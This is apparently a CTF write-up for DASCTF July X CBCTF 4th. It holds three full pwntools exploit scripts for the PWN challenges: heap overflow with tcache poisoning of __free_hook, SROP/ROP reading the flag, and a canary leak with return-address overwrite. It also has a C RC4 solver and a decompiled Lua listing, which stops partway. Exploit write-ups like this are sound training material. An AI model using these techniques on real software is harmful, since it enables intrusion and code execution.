DASCTF July X CBCTF 4th PWN、RE部分 Writeup

警告
本文最后更新于 2021-08-07,文中内容可能已过时。

PWN

EasyHeap

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
from pwn import *

elf = None
libc = None
file_name = "./Easyheap"
#context.timeout = 1


def get_file(dic=""):
    context.binary = dic + file_name
    return context.binary


def get_libc(dic=""):
    libc = None
    try:
        data = os.popen("ldd {}".format(dic + file_name)).read()
        for i in data.split('\n'):
            libc_info = i.split("=>")
            if len(libc_info) == 2:
                if "libc" in libc_info[0]:
                    libc_path = libc_info[1].split(' (')
                    if len(libc_path) == 2:
                        libc = ELF(libc_path[0].replace(' ', ''), checksec=False)
                        return libc
    except:
        pass
    if context.arch == 'amd64':
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
    elif context.arch == 'i386':
        try:
            libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
        except:
            libc = ELF("/lib32/libc.so.6", checksec=False)
    return libc


def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc = ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
            return s.process(file_name)
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process(file_name)


def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if libc == True:
        return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    elif int_mode:
        return_address = int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
    elif context.arch == 'amd64':
        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
    else:
        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address


def get_flag(sh):
    sh.recvrepeat(0.1)
    sh.sendline('cat flag')
    return sh.recvrepeat(0.3)


def get_gdb(sh, gdbscript=None, addr=0, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript=gdbscript)
    elif addr is not None:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
        log.success("breakpoint_addr --> " + hex(text_base + addr))
        gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
    else:
        gdb.attach(sh)
    if stop:
        raw_input()


def Attack(target=None, sh=None, elf=None, libc=None):
    if sh is None:
        from Class.Target import Target
        assert target is not None
        assert isinstance(target, Target)
        sh = target.sh
        elf = target.elf
        libc = target.libc
    assert isinstance(elf, ELF)
    assert isinstance(libc, ELF)
    try_count = 0
    while try_count < 3:
        try_count += 1
        try:
            pwn(sh, elf, libc)
            break
        except KeyboardInterrupt:
            break
        except EOFError:
            if target is not None:
                sh = target.get_sh()
                target.sh = sh
                if target.connect_fail:
                    return 'ERROR : Can not connect to target server!'
            else:
                sh = get_sh()
    flag = get_flag(sh)
    return flag

def choice(idx):
    sh.sendlineafter(">> :", str(idx))


def add(size, content = 'wjh'):
    choice(1)
    sh.sendlineafter("Size:", str(size))
    sh.sendafter("Content:", str(content))

def delete(idx):
    choice(2)
    sh.sendlineafter("Index:", str(idx))

def show(idx):
    choice(3)
    sh.sendlineafter("Index:", str(idx))


def edit(idx, content):
    choice(4)
    sh.sendlineafter("Index:", str(idx))
    sh.sendafter("Content:", str(content))


def pwn(sh, elf, libc):
    context.log_level = "debug"
    add(-1) #0
    add(0x500, 'a' * 0x500) #1
    add(0x500, 'a' * 0x500) #2
    delete(1)
    edit(0, 'a' * 0x20)
    show(0)
    libc_base = get_address(sh, True, info='libc_base:\t', offset=-0x3ebca0)
    edit(0, 'a' * 0x18 + p64(0x511))
    add(0x88, 'a' * 0x88) #1
    add(0x88, 'a' * 0x88) #3
    delete(3)
    delete(1)

    edit(0, 'a' * 0x20)
    show(0)
    #sh.recvuntil('1.add')
    heap_base = u64(sh.recvuntil('1.add', drop=True)[-6:].ljust(8, '\x00')) - 0x320
    log.success("heap_base:\t" + hex(heap_base))
    edit(0, 'a' * 0x18 + p64(0xa1))
    free_hook_addr = libc_base + 0x3ed8e8
    setcontext_addr = libc_base + 0x521b5
    edit(0, 'a' * 0x18 + p64(0x511) + p64(free_hook_addr))
    add(0x88, 'a' * 0x88) #1
    add(0x88, 'a' * 0x88) #3
    edit(3, p64(setcontext_addr))
    pop_rdi_addr = libc_base + 0x215bf
    pop_rsi_addr = libc_base + 0x23eea
    pop_rdx_addr = libc_base + 0x1b96
    pop_rax_addr = libc_base + 0x43ae8
    syscall_addr = libc_base + 0xd2745

    # SROP
    fake_frame_addr = heap_base + 0x790
    frame = SigreturnFrame()
    frame.rdi = fake_frame_addr + 0xF8
    frame.rsi = 0
    frame.rdx = 0x100
    frame.rsp = fake_frame_addr + 0xF8 + 0x10
    frame.rip = pop_rdi_addr + 1  # : ret

    rop_data = [
        pop_rax_addr,  # sys_open('flag', 0)
        2,
        syscall_addr,
        pop_rax_addr,  # sys_read(flag_fd, heap, 0x100)
        0,
        pop_rdi_addr,
        3,
        pop_rsi_addr,
        fake_frame_addr + 0x200,
        syscall_addr,

        pop_rax_addr,  # sys_write(1, heap, 0x100)
        1,
        pop_rdi_addr,
        1,
        pop_rsi_addr,
        fake_frame_addr + 0x200,
        syscall_addr
    ]
    edit(2, str(frame).ljust(0xF8, '\x00') + 'flag\x00\x00\x00\x00' + '\x00' * 0x8 + flat(rop_data))
    gdb.attach(sh, "b free")
    delete(2)

    sh.interactive()


if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(sh=sh, elf=get_file(), libc=get_libc())
    sh.close()
    log.success('The flag is ' + re.search(r'flag{.+}', flag).group())

realNoOutput

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
from pwn import *

elf = None
libc = None
file_name = "./realNoOutput"
#context.timeout = 1


def get_file(dic=""):
    context.binary = dic + file_name
    return context.binary


def get_libc(dic=""):
    libc = None
    try:
        data = os.popen("ldd {}".format(dic + file_name)).read()
        for i in data.split('\n'):
            libc_info = i.split("=>")
            if len(libc_info) == 2:
                if "libc" in libc_info[0]:
                    libc_path = libc_info[1].split(' (')
                    if len(libc_path) == 2:
                        libc = ELF(libc_path[0].replace(' ', ''), checksec=False)
                        return libc
    except:
        pass
    if context.arch == 'amd64':
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
    elif context.arch == 'i386':
        try:
            libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
        except:
            libc = ELF("/lib32/libc.so.6", checksec=False)
    return libc


def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc = ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
            return s.process(file_name)
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process(file_name)


def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if libc == True:
        return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    elif int_mode:
        return_address = int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
    elif context.arch == 'amd64':
        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
    else:
        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address


def get_flag(sh):
    sh.recvrepeat(0.1)
    sh.sendline('cat flag')
    return sh.recvrepeat(0.3)


def get_gdb(sh, gdbscript=None, addr=0, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript=gdbscript)
    elif addr is not None:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
        log.success("breakpoint_addr --> " + hex(text_base + addr))
        gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
    else:
        gdb.attach(sh)
    if stop:
        raw_input()


def Attack(target=None, sh=None, elf=None, libc=None):
    if sh is None:
        from Class.Target import Target
        assert target is not None
        assert isinstance(target, Target)
        sh = target.sh
        elf = target.elf
        libc = target.libc
    assert isinstance(elf, ELF)
    assert isinstance(libc, ELF)
    try_count = 0
    while try_count < 3:
        try_count += 1
        try:
            pwn(sh, elf, libc)
            break
        except KeyboardInterrupt:
            break
        except EOFError:
            if target is not None:
                sh = target.get_sh()
                target.sh = sh
                if target.connect_fail:
                    return 'ERROR : Can not connect to target server!'
            else:
                sh = get_sh()
    flag = get_flag(sh)
    return flag

def choice(idx):
    sleep(1)
    sh.sendline(str(idx))

    #sleep(1)


def add(idx, size, content):
    choice(1)
    sh.sendline(str(idx))
    sh.sendline(str(size))
    sh.send(content)


def delete(idx):
    choice(2)
    sh.sendline(str(idx))


def edit(idx, content):
    choice(3)
    sh.sendline(str(idx))
    sh.send(str(content))


def show(idx):
    choice(4)
    sh.sendline(str(idx))




def pwn(sh, elf, libc):
    context.log_level = "debug"
    for i in range(8):
        add(i, 0x100, 'wjh')

    for i in range(8):
        delete(7 - i)

    add(8, 0x18, 'wjh')

    edit(0, 'a' * 0x20)
    show(0)
    libc_base = get_address(sh, True, info="libc_base:\t", offset=-0x1ebbe0)
    edit(0, 'sh' + '\x00' * (0x18 - 2) + p64(0xf1))
    add(9, 0xe8, 'a' * 0xe8)
    add(1, 0xe8, 'a' * 0xe8)
    delete(9)
    delete(1)
    free_hook_addr = libc_base + 0x1eeb28
    system_addr = libc_base + 0x55410
    edit(0, p64(free_hook_addr))
    add(9, 0xe8, 'a' * 0xe8)
    add(9, 0xe8, p64(system_addr))

    #gdb.attach(sh, "b *$rebase(0x00000000000016B1)")
    delete(8)
    sh.interactive()


if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(sh=sh, elf=get_file(), libc=get_libc())
    sh.close()
    log.success('The flag is ' + re.search(r'flag{.+}', flag).group())

old_thing

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
from pwn import *
elf = None
libc = None
file_name = "./canary3"
#context.timeout = 1

def get_file(dic=""):
    context.binary = dic + file_name
    return context.binary

def get_libc(dic=""):
    libc = None
    try:
        data = os.popen("ldd {}".format(dic + file_name)).read()
        for i in data.split('\n'):
            libc_info = i.split("=>")
            if len(libc_info) == 2:
                if "libc" in libc_info[0]:
                    libc_path = libc_info[1].split(' (')
                    if len(libc_path) == 2:
                        libc = ELF(libc_path[0].replace(' ', ''), checksec=False)
                        return libc
    except:
        pass
    if context.arch == 'amd64':
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
    elif context.arch == 'i386':
        try:
            libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
        except:
            libc = ELF("/lib32/libc.so.6", checksec=False)
    return libc

def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc = ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
            return s.process(file_name)
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process(file_name)

def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if libc == True:
        return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    elif int_mode:
        return_address = int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
    elif context.arch == 'amd64':
        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
    else:
        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address

def get_flag(sh):
    sh.recvrepeat(0.1)
    sh.sendline('cat flag')
    return sh.recvrepeat(0.3)

def get_gdb(sh, gdbscript=None, addr=0, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript=gdbscript)
    elif addr is not None:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
        log.success("breakpoint_addr --> " + hex(text_base + addr))
        gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
    else:
        gdb.attach(sh)
    if stop:
        raw_input()

def Attack(target=None, sh=None, elf=None, libc=None):
    if sh is None:
        from Class.Target import Target
        assert target is not None
        assert isinstance(target, Target)
        sh = target.sh
        elf = target.elf
        libc = target.libc
    assert isinstance(elf, ELF)
    assert isinstance(libc, ELF)
    try_count = 0
    while try_count < 3:
        try_count += 1
        try:
            pwn(sh, elf, libc)
            break
        except KeyboardInterrupt:
            break
        except EOFError:
            if target is not None:
                sh = target.get_sh()
                target.sh = sh
                if target.connect_fail:
                    return 'ERROR : Can not connect to target server!'
            else:
                sh = get_sh()
    flag = get_flag(sh)
    return flag

def pwn(sh, elf, libc):
    context.log_level = "debug"
    sh.sendafter('username: ', 'admin' + '\x00' * (0x20 - 5))
    sh.sendafter('password: ', '168' + '\x00' * (0x20 - 3))
    sh.sendlineafter('3.exit', '2')
    sh.sendafter('input:', 'a' * 0x19)
    sh.sendlineafter('3.exit', '1')
    data = sh.recvuntil('Do ', drop=True)
    pie = u64(data[-6:].ljust(8, '\x00')) - 0x2530
    canary = u64(data[-13:-6].rjust(8, '\x00'))
    log.success('canary:\t' + hex(canary))
    log.success('pie:\t' + hex(pie))
    sh.sendlineafter('3.exit', '2')
    sh.sendafter('input:', 'a' * 0x18 + p64(canary) + 'b' * 8 + p64(pie + 0x239F))
    #gdb.attach(sh, "b *$rebase(0x0000000000002526)")
    sh.sendlineafter('3.exit', '3')
    sh.interactive()

if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(sh=sh, elf=get_file(), libc=get_libc())
    sh.close()
    log.success('The flag is ' + re.search(r'flag{.+}', flag).group())

REVERSE

shellcode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <cstdio>
#include <cstring>

unsigned char sz[] =
{
  0x64, 0x2E, 0x90, 0x34, 0x41, 0xD8, 0x24, 0xCB, 0x52, 0x2E,
  0xFB, 0x39, 0x3E, 0x91, 0x07, 0x0E, 0x96, 0xF6, 0x3C, 0x09,
  0x9C, 0x21, 0x92, 0x21, 0xB2, 0xCC, 0x9F, 0x51, 0x48, 0x63,
  0x4C, 0x8F, 0x72, 0x5D, 0xBF, 0x6C, 0x51, 0x76
};

void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len)
{
    int i = 0, j = 0;
    unsigned char k[256] = { 0 };
    unsigned char tmp = 0;
    for (i = 0; i < 256; i++)
    {
        s[i] = i;
        k[i] = key[i % Len];
    }
    for (i = 0; i < 256; i++)
    {
        j = (j + s[i] + k[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
    }
}

void rc4_crypt(unsigned char* s, unsigned char* Data, unsigned long Len)
{
    int i = 0, j = 0, t = 0;
    unsigned long k = 0;
    unsigned char tmp;
    for (k = 0; k < Len; k++)
    {
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
        t = (s[i] + s[j]) % 256;
        Data[k] ^= s[t];
    }
}

int main()
{
    unsigned char s[256];
    unsigned char key[] = "golangc2";
    rc4_init(s, key, 8);
    rc4_crypt(s, sz, 38);
    printf("%s", sz);
    return 0;
}

replace

lua 虚拟机,rc4 的 key 在虚拟机实现中被修改了,倒序 base64

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
local L0_1, L1_1, L2_1, L3_1, L4_1, L5_1, L6_1, L7_1, L8_1, L9_1, L10_1, L11_1, L12_1, L13_1, L14_1, L15_1, L16_1, L17_1, L18_1, L19_1, L20_1, L21_1, L22_1, L23_1, L24_1, L25_1, L26_1, L27_1, L28_1, L29_1, L30_1, L31_1, L32_1, L33_1, L34_1, L35_1, L36_1, L37_1, L38_1, L39_1, L40_1, L41_1, L42_1, L43_1, L44_1, L45_1, L46_1, L47_1, L48_1, L49_1, L50_1, L51_1, L52_1, L53_1
L0_1 = require
L1_1 = "enclib"
L0_1 = L0_1(L1_1)
enclib = L0_1
function L0_1(A0_2)
  local L1_2, L2_2, L3_2, L4_2, L5_2, L6_2, L7_2, L8_2, L9_2, L10_2, L11_2, L12_2
  L1_2 = string
  L1_2 = L1_2.len
  L2_2 = A0_2
  L1_2 = L1_2(L2_2)
  L2_2 = {}
  L3_2 = {}
  L4_2 = 0
  L5_2 = 255
  L6_2 = 1
  for L7_2 = L4_2, L5_2, L6_2 do
    L2_2[L7_2] = L7_2
  end
  L4_2 = 1
  L5_2 = L1_2
  L6_2 = 1
  for L7_2 = L4_2, L5_2, L6_2 do
    L8_2 = L7_2 - 1
    L9_2 = string
    L9_2 = L9_2.byte
    L10_2 = A0_2
    L11_2 = L7_2
    L12_2 = L7_2
    L9_2 = L9_2(L10_2, L11_2, L12_2)
    L3_2[L8_2] = L9_2
  end
  L4_2 = 0
  L5_2 = 0
  L6_2 = 255
  L7_2 = 1
  for L8_2 = L5_2, L6_2, L7_2 do
    L9_2 = L2_2[L8_2]
    L9_2 = L4_2 + L9_2
    L10_2 = L8_2 % L1_2
    L10_2 = L3_2[L10_2]
    L9_2 = L9_2 + L10_2
    L4_2 = L9_2 % 256
    L9_2 = L2_2[L4_2]
    L10_2 = L2_2[L8_2]
    L2_2[L4_2] = L10_2
    L2_2[L8_2] = L9_2
  end
  return L2_2
end
KSA = L0_1
function L0_1(A0_2, A1_2)
  local L2_2, L3_2, L4_2, L5_2, L6_2, L7_2, L8_2, L9_2, L10_2
  L2_2 = 0
  L3_2 = 0
  L4_2 = {}
  L5_2 = 1
  L6_2 = A1_2
  L7_2 = 1
  for L8_2 = L5_2, L6_2, L7_2 do
    L9_2 = L2_2 + 1
    L2_2 = L9_2 % 256
    L9_2 = A0_2[L2_2]
    L9_2 = L3_2 + L9_2
    L3_2 = L9_2 % 256
    L9_2 = A0_2[L3_2]
    L10_2 = A0_2[L2_2]
    A0_2[L3_2] = L10_2
    A0_2[L2_2] = L9_2
    L9_2 = A0_2[L2_2]
    L10_2 = A0_2[L3_2]
    L9_2 = L9_2 + L10_2
    L9_2 = L9_2 % 256
    L9_2 = A0_2[L9_2]
    L4_2[L8_2] = L9_2
  end
  return L4_2
end
PRGA = L0_1
function L0_1(A0_2, A1_2)
  local L2_2, L3_2, L4_2, L5_2, L6_2, L7_2
  L2_2 = string
  L2_2 = L2_2.len
  L3_2 = A1_2
  L2_2 = L2_2(L3_2)
  L3_2 = KSA
  L4_2 = A0_2
  L3_2 = L3_2(L4_2)
  L4_2 = PRGA
  L5_2 = L3_2
  L6_2 = L2_2
  L4_2 = L4_2(L5_2, L6_2)
  L5_2 = output
  L6_2 = L4_2
  L7_2 = A1_2
  return L5_2(L6_2, L7_2)
end
RC4 = L0_1
function L0_1(A0_2, A1_2)
  local L2_2, L3_2, L4_2, L5_2, L6_2, L7_2, L8_2, L9_2, L10_2, L11_2, L12_2
  L2_2 = string
  L2_2 = L2_2.len
  L3_2 = A1_2
  L2_2 = L2_2(L3_2)
  L3_2 = nil
  L4_2 = {}
  L5_2 = 1
  L6_2 = L2_2
  L7_2 = 1
  for L8_2 = L5_2, L6_2, L7_2 do
    L9_2 = string
    L9_2 = L9_2.byte
    L10_2 = A1_2
    L11_2 = L8_2
    L12_2 = L8_2
    L9_2 = L9_2(L10_2, L11_2, L12_2)
    L3_2 = L9_2
    L9_2 = string
    L9_2 = L9_2.char
    L10_2 = bxor
    L11_2 = A0_2[L8_2]
    L12_2 = L3_2
    L10_2, L11_2, L12_2 = L10_2(L11_2, L12_2)
    L9_2 = L9_2(L10_2, L11_2, L12_2)
    L4_2[L8_2] = L9_2
  end
  L5_2 = table
  L5_2 = L5_2.concat
  L6_2 = L4_2
  return L5_2(L6_2)
end
output = L0_1
L0_1 = {}
function L1_1(A0_2, A1_2)
  local L2_2
  L2_2 = A0_2 + A1_2
  if L2_2 == 2 then
    L2_2 = 1
    if L2_2 then
      goto lbl_8
    end
  end
  L2_2 = 0
  ::lbl_8::
  return L2_2
end
L0_1.cond_and = L1_1
function L1_1(A0_2, A1_2)
  local L2_2
  L2_2 = A0_2 + A1_2
  if L2_2 == 1 then
    L2_2 = 1
    if L2_2 then
      goto lbl_8
    end
  end
  L2_2 = 0
  ::lbl_8::
  return L2_2
end
L0_1.cond_xor = L1_1
function L1_1(A0_2, A1_2)
  local L2_2
  L2_2 = A0_2 + A1_2
  if 0 < L2_2 then
    L2_2 = 1
    if L2_2 then
      goto lbl_8
    end
  end
  L2_2 = 0
  ::lbl_8::
  return L2_2
end
L0_1.cond_or = L1_1
function L1_1(A0_2, A1_2, A2_2)
  local L3_2, L4_2, L5_2, L6_2, L7_2
  if A1_2 < A2_2 then
    L3_2 = A2_2
    A2_2 = A1_2
    A1_2 = L3_2
  end
  L3_2 = 0
  L4_2 = 1
  while A1_2 ~= 0 do
    L5_2 = A1_2 % 2
    r_a = L5_2
    L5_2 = A2_2 % 2
    r_b = L5_2
    L5_2 = L0_1[A0_2]
    L6_2 = r_a
    L7_2 = r_b
    L5_2 = L5_2(L6_2, L7_2)
    L5_2 = L4_2 * L5_2
    L3_2 = L5_2 + L3_2
    L4_2 = L4_2 * 2
    L5_2 = math
    L5_2 = L5_2.modf
    L6_2 = A1_2 / 2
    L5_2 = L5_2(L6_2)
    A1_2 = L5_2
    L5_2 = math
    L5_2 = L5_2.modf
    L6_2 = A2_2 / 2
    L5_2 = L5_2(L6_2)
    A2_2 = L5_2
  end
  return L3_2
end
L0_1.base = L1_1
function L1_1(A0_2, A1_2)
  local L2_2, L3_2, L4_2, L5_2
  L2_2 = L0_1.base
  L3_2 = "cond_xor"
  L4_2 = A0_2
  L5_2 = A1_2
  return L2_2(L3_2, L4_2, L5_2)
end
bxor = L1_1
function L1_1(A0_2, A1_2)
  local L2_2, L3_2, L4_2, L5_2
  L2_2 = L0_1.base
  L3_2 = "cond_and"
  L4_2 = A0_2
  L5_2 = A1_2
  return L2_2(L3_2, L4_2, L5_2)
end
band = L1_1
function L1_1(A0_2, A1_2)
  local L2_2, L3_2, L4_2, L5_2
  L2_2 = L0_1.base
  L3_2 = "cond_or"
  L4_2 = A0_2
  L5_2 = A1_2
  return L2_2(L3_2, L4_2, L5_2)
end
bor = L1_1
L1_1 = print
L2_1 = "Welcome to the world of reverse\n"
L1_1(L2_1)
L1_1 = print
L2_1 = "Now please give me the key : "
L1_1(L2_1)
L1_1 = "RC4KEY"
L2_1 = io
L2_1 = L2_1.read
L3_1 = "*l"
L2_1 = L2_1(L3_1)
L3_1 = string
L3_1 = L3_1.len
L4_1 = L2_1
L3_1 = L3_1(L4_1)
if L3_1 ~= 38 then
  L3_1 = print
  L4_1 = "wrong length"
  L3_1(L4_1)
  L3_1 = os
  L3_1 = L3_1.exit
  L3_1()
end
L3_1 = enclib
L3_1 = L3_1.prepare
L3_1()
L3_1 = enclib
L3_1 = L3_1.encrypt
L4_1 = L2_1
L5_1 = string
L5_1 = L5_1.len
L6_1 = L2_1
L5_1, L6_1, L7_1, L8_1, L9_1, L10_1, L11_1, L12_1, L13_1, L14_1, L15_1, L16_1, L17_1, L18_1, L19_1, L20_1, L21_1, L22_1, L23_1, L24_1, L25_1, L26_1, L27_1, L28_1, L29_1, L30_1, L31_1, L32_1, L33_1, L34_1, L35_1, L36_1, L37_1, L38_1, L39_1, L40_1, L41_1, L42_1, L43_1, L44_1, L45_1, L46_1, L47_1, L48_1, L49_1, L50_1, L51_1, L52_1, L53_1 = L5_1(L6_1)
L3_1 = L3_1(L4_1, L5_1, L6_1, L7_1, L8_1, L9_1, L10_1, L11_1, L12_1, L13_1, L14_1, L15_1, L16_1, L17_1, L18_1, L19_1, L20_1, L21_1, L22_1, L23_1, L24_1, L25_1, L26_1, L27_1, L28_1, L29_1, L30_1, L31_1, L32_1, L33_1, L34_1, L35_1, L36_1, L37_1, L38_1, L39_1, L40_1, L41_1, L42_1, L43_1, L44_1, L45_1, L46_1, L47_1, L48_1, L49_1, L50_1, L51_1, L52_1, L53_1)
res = L3_1
L3_1 = RC4
L4_1 = L1_1
L5_1 = res
L3_1 = L3_1(L4_1, L5_1)
K = L3_1
L3_1 = {}
t = L3_1
L3_1 = {}
L4_1 = 43
L5_1 = 50
L6_1 = 118
L7_1 = 51
L8_1 = 186
L9_1 = 167
L10_1 = 106
L11_1 = 55
L12_1 = 228
L13_1 = 145
L14_1 = 160
L15_1 = 171
L16_1 = 23
L17_1 = 227
L18_1 = 82
L19_1 = 56
L20_1 = 191
L21_1 = 166
L22_1 = 65
